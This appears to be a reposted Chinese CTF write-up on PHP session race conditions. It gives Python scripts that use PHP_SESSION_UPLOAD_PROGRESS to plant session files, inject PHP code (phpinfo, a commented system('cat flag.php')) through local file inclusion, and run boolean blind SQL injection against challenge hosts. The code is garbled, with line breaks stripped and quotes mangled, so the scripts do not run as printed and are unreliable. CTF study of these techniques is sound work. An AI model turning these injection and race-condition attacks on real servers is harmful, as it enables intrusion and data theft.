PHP SESSION 的存儲

Session會話存儲方式

PHP將session以文件的形式存儲服務(wù)器的文件中，session.save_path來控制

默認(rèn)路徑

/var/lib/php/sess_PHPSESSID
/var/lib/php/sessions/sess_PHPSESSID
/tmp/sess_PHPSESSID
/tmp/sessions/sess_PHPSESSID

session文件默認(rèn)是/var/lib/php/sessions目錄下，文件名是sess_加上sessionID字段

但是在賽題中大多數(shù)都是/tmp目錄下，需要php.ini力sesion.auto_start設(shè)置為1，然后修改目錄

session.auto_start：如果開啟這個選項，則PHP在接收請求的時候會自動初始化Session，不再需要執(zhí)行session_start()。但默認(rèn)情況下，也是通常情況下，這個選項都是默認(rèn)關(guān)閉的。

session.upload_progress.cleanup = on：表示當(dāng)文件上傳結(jié)束后，php將會立即清空對應(yīng)session文件中的內(nèi)容。該選項默認(rèn)開啟

session.use_strict_mode：默認(rèn)情況下，該選項的值是0，此時用戶可以自己定義Session ID。

使用 Python 實(shí)現(xiàn)創(chuàng)建 Session 文件的過程：

import ioimport requestsimport threadingsessid = "whoami"def POST(session):    f = io.BytesIO(b"a" * 1024 * 50)    session.post("http://192.168.43.82/index.php",data={"PHP_SESSION_UPLOAD_PROGRESS":"123"},  //用來改變session中的值files={"file":("q.txt", f)},cookies={"PHPSESSID":sessid} //用來sesssion中的文件名  sess_whoami    )with requests.session() as session:    while True:POST(session)print("[+] 成功寫入sess_whoami")

[WMCTF2020]Make PHP Great Again

<?phphighlight_file(__FILE__);require_once "flag.php";if(isset($_GET["file"])) {  require_once $_GET["file"];}

這道題是文件包含，已經(jīng)包含過了一次flag.php，就不能二次包含了，一種方法是軟連接/proc/self/root繞過

/proc/self指向當(dāng)前進(jìn)程的/proc/pid/

/proc/self/root/是指向/的符號鏈接

這道題也可以 用條件競爭進(jìn)行，

import ioimport sysimport requestsimport threadinghost = "http://6417a062-bc49-48f8-bbad-2b203887ba46.node4.buuoj.cn:81/"sessid = "feng"def POST(session): while True:  f = io.BytesIO(b"a" * 1024 * 50)  session.post(  host,  data={ # "PHP_SESSION_UPLOAD_PROGRESS":"<?php system("cat flag.php");echo md5("1");?>"},  "PHP_SESSION_UPLOAD_PROGRESS": "<?php phpinfo();echo md5("1");?>"},//session存值  files={  "file":("a.txt", f)},  cookies={   "PHPSESSID":sessid}//改名    )def READ(session): while True:   response = session.get(f"{host}?file=/tmp/sess_{sessid}")//路徑# print(response.text)   if "c4ca4238a0b923820dcc509a6f75849b" not in response.text://1的md5      print("[+++]retry")   else:      print(response.text)      sys.exit(0)with requests.session() as session:  t1 = threading.Thread(target=POST, args=(session, ))//線程可以套循環(huán) 多層線程  t1.daemon = True  //相當(dāng)完成任務(wù)直接結(jié)束，不用等線程全部結(jié)束  t1.start()  READ(session)

線程結(jié)束后，想在網(wǎng)頁獲得php壞境頁面可是找不到，

希望有師傅解答一下，然后這樣就非常局限，

[PwnThyBytes 2019]Baby_SQL

訪問源碼，獲得source.zip

打開后發(fā)現(xiàn)index.php

<?phpsession_start();foreach ($_SESSION as $key => $value): $_SESSION[$key] = filter($value); endforeach;foreach ($_GET as $key => $value): $_GET[$key] = filter($value); endforeach;foreach ($_POST as $key => $value): $_POST[$key] = filter($value); endforeach;foreach ($_REQUEST as $key => $value): $_REQUEST[$key] = filter($value); endforeach;function filter($value){    !is_string($value) AND die("Hacking attempt!");    return addslashes($value);}isset($_GET["p"]) AND $_GET["p"] === "register" AND $_SERVER["REQUEST_METHOD"] === "POST" AND isset($_POST["username"]) AND isset($_POST["password"]) AND @include("templates/register.php");isset($_GET["p"]) AND $_GET["p"] === "login" AND $_SERVER["REQUEST_METHOD"] === "GET" AND isset($_GET["username"]) AND isset($_GET["password"]) AND @include("templates/login.php");isset($_GET["p"]) AND $_GET["p"] === "home" AND @include("templates/home.php");?>

都要經(jīng)過最后的過濾，然后通過傳參p進(jìn)行包含templates目錄下面的文件

login.php

<?php!isset($_SESSION) AND die("Direct access on this script is not allowed!");include "db.php";$sql = "SELECT `username`,`password` FROM `ptbctf`.`ptbctf` where `username`="" . $_GET["username"] . "" and password="" . md5($_GET["password"]) . "";";$result = $con->query($sql);function auth($user){    $_SESSION["username"] = $user;    return True;}($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row["username"]) AND die("<meta http-equiv="refresh" content="0; url=?p=home" />")) OR ($con->close() AND die("Try again!"));?>

發(fā)現(xiàn)就login.php里面沒有過濾，然后

!isset($_SESSION) AND die("Direct access on this script is not allowed!");

意思為如果不存在session就die輸出，前面的為true才執(zhí)行后面的

($result->num_rows > 0 AND $row = $result->fetch_assoc() AND $con->close() AND auth($row['username']) AND die('<meta http-equiv="refresh" content="0; url=?p=home" />')) OR ($con->close() AND die('Try again!'));

OR前面是false才執(zhí)行后面的語句。然后這里的意思前面有個大的括號里有一個滿足就會執(zhí)行$con->close(),然后這個執(zhí)行返回true的話就會執(zhí)行die(“Not allowed!”);

所以如果我們要直接訪問login.php進(jìn)行sql注入的話，還需要帶上一個session才行，這里邊用上了我們的PHP_SESSION_UPLOAD_PROGRESS了。我們可以使用PHP_SESSION_UPLOAD_PROGRESS來在目標(biāo)服務(wù)器上初始化一個session，然后便可以繞過index.php中的檢測，直接訪問login.php進(jìn)行sql注入了。

import requestsurl = "http://d9cf1c36-45c7-47e2-b0f9-1da95406b5d3.node4.buuoj.cn:81/templates/login.php"http://這個templates是因為login.php在這個目錄下面files = {"file": "123456789"}a = requests.post(url=url, files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}, params={"username": "test", "password": "test"},  proxies={"http": "http://127.0.0.1:8080"})通過這個接口，burp就可以抓包到print(a.text)

然后對username進(jìn)行注入，發(fā)現(xiàn)是用"進(jìn)行閉合,然后回顯，可以用盲注實(shí)現(xiàn)

<meta http-equiv="refresh" content="0; url=?p=home" />

import requestsimport timeurl = "http://d8412613-fa2e-4a01-bd02-c0dea96bce33.node4.buuoj.cn:81/templates/login.php"files = {"file": "123456789"}flag=""for i in range(1,100):    low = 32    high = 128    mid = (low+high)//2    while (low < high):time.sleep(0.06)#payload_flag ={"username": "test\" or (ascii(substr((select group_concat(username) from ptbctf ),{0},1))>{1}) #".format(i, mid),"password": "test"}payload_flag = {    "username": "test" or (ascii(substr(database(),{0},1))>{1}) #".format(i,mid),"password": "test"}r = requests.post(url=url,params=payload_flag,files=files, data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"},  cookies={"PHPSESSID": "test1"}) print(payload_flag)if "<meta http-equiv="refresh" content="0; url=?p=home" />" in r.text:    low = mid +1else:    high = midmid = (low + high) // 2    if(mid==32 ):break    flag +=chr(mid)    print(flag)print(flag)

到此這篇關(guān)于PHP Session條件競爭超詳細(xì)講解的文章就介紹到這了,更多相關(guān)PHP Session內(nèi)容請搜索以前的文章或繼續(xù)瀏覽下面的相關(guān)文章希望大家以后多多支持！